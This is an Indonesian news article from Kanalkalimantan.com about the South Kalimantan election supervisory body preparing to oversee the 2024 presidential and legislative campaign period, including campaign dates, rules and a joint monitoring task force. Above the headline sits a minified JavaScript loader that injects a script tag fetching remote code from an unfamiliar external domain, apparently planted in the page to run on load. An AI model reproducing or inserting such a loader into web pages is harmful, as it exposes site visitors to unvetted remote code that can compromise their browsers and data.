(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemilu 2024

Masa Kampanye Tinggal 4 Hari, Tugas Bawaslu Kalsel Terpecah Awasi Pilpres dan Caleg

KANALKALIMANTAN.COM, BANJARBARU – Seluruh jajaran Badan Pengawas Pemilu (Bawaslu) di Provinsi Kalimantan Selatan (Kalsel) tengah bersiap menghadapi masa kampanye Pemilu 2024.

Tinggal empat hari menjelang dimulai masa kampanye pada 28 November 2023, Ketua Komisi Pemilihan Umum (KPU) Kalsel Andi Tenri menyebut bahwa tahapan kampanye Pemilu 2024 akan menyita kerja Bawaslu Kalsel.

Lantaran pengawasan akan terpecah pada peserta dari pasangan calon presiden dan calon anggota legislatif.

Seperti yang termuat dalam Peraturan KPU Nomor 15 tahun 2023 tentang kampanye Pemilu, peserta Pemilu dapat berkampanye melalui pertemuan terbatas, pertemuan tatap muka, penyebaran bahan kampanye kepada umum.

Kemudian kampanye dapat dilanjutkan dengan pemasangan alat peraga di tempat umum, debat pasangan calon dan kampanye di media sosial yang akan berlangsung dari 28 November 2023 hingga 10 Februari 2024 mendatang.

Sementara itu kampanye rapat umum, iklan media massa (cetak dan elektronik) dan kampanye melalui media dalam jaringan atau online dapat dilakukan di antara 21 Januari 2024 hingga 10 Februari 2024.

“Kampanye akan menyita kerja Bawaslu. Tentunya harus ada edukasi yang baik,” ucap Tenri di aula Bawaslu Kalsel, Kamis (23/11/2023) siang.

Kegiatan kampanye akan ditutup dengan masa tenang antara 11 Februari 2024 hingga 13 Februari 2024.

Praktis, namun tugas Pengawas Pemilu (Panwaslu) semakin banyak mencakup tingkat kabupaten kota hingga desa.

Menanggapi hal tersebut, Bawaslu Kalsel turut mengikutsertakan unsur Satpol PP, Badan Kesbangpol, serta aparat TNI dan Polri dalam sebuah Kelompok Kerja (Pokja) Pengawasan Kampanye.

Ketua Bawaslu Kalsel, Aries Mardiono mengatakan, Pokja Bawaslu nantinya akan mengiventarisir potensi-potensi pelanggaran saat kampanye, hingga kepada tindakan penertiban alat peraga sosialisasi dan kampanye.

Seperti terhadap alat peraga sosialisasi, kata Aries, Bawaslu sendiri sudah mengirimkan surat imbauan kepada partai politik untuk tidak memuat unsur kampanye di dalamnya.

“Pengawasan alat peraga kampanye mulai dari konten, lokasi pemasangan hingga ukuran akan menjadi fokus pengawasan kita,” jelas Aries.

Ia meminta kepada Bawaslu di kabupaten kota aktif berkoordinasi dengan stakeholder yang tergabung dalam Pokja untuk melakukan kajian mendalam hingga kesimpulan untuk mengambil tindakan penertiban.

Kemudian pengawasan siaran pada tahapan kampanye melalui iklan media massa (cetak dan elektronik) juga diperketat adanya Tim Gugus Tugas yang melibatkan Bawaslu, KPU dan Komisi Penyiaran Indonesia Daerah (KPID) Kalsel.

“Meski ada miss informasi misalnya siapa saja yang termasuk dalam unsur kampanye, kapan waktu kampanye bagi pasangan calon presiden dan calon legislatif, dengan kita lakukan SKB ini membuat efektifitas terhadap penanganan dan tindaklanjut peristiwa yang terjadi ruang publik,” ungkap Aries.

Tim menegaskan bisa all out dalam mengawasi siaran pada tahapan kampanye melalui iklan media massa (cetak dan elektronik) yang akan dimulai pada 21 Januari-10 Februari 2024.

Iklan kampanye Pemilu dapat dilakukan oleh peserta Pemilu melalui media massa cetak, media daring, media sosial, dan lembaga penyiaran. Segala aturan tentang tahapan kampanye ini juga sudah termuat dalam Peraturan KPU Nomor 15 tahun 2023.

Media massa cetak, media daring, media sosial, dan lembaga penyiaran ini pula diminta berlaku adil berimbang, dan tidak memihak dalam menyiarkan iklan kampanye Pemilu. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie